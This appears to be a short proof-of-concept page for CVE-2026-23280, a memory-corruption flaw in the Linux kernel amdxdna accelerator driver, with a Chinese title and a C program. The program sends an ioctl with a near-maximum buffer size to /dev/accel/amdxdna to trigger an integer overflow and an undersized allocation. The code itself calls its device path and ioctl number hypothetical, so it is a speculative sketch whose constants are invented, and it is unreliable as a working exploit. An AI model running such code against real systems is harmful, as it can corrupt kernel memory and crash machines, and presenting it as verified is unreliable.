CVE-2026-23280: Linux内核amdxdna驱动内存损坏漏洞

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdint.h> // Hypothetical device path and IOCTL definitions for the PoC #define DEVICE_PATH "/dev/accel/amdxdna" #define IOCTL_ALLOC_BUFFER 0x8001 struct alloc_args { uint64_t size; uint64_t flags; }; int main() { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } struct alloc_args args; // Trigger potential integer overflow in size calculation // If size + header_size overflows, allocation is undersized args.size = 0xFFFFFFFFFFFFFFF0; args.flags = 0; printf("Attempting to trigger vulnerability in CVE-2026-23280...\n"); // The specific IOCTL call that triggers the vulnerable path if (ioctl(fd, IOCTL_ALLOC_BUFFER, &args) < 0) { perror("IOCTL failed"); } else { printf("IOCLT succeeded. Check kernel logs for memory corruption.\n"); } close(fd); return 0; }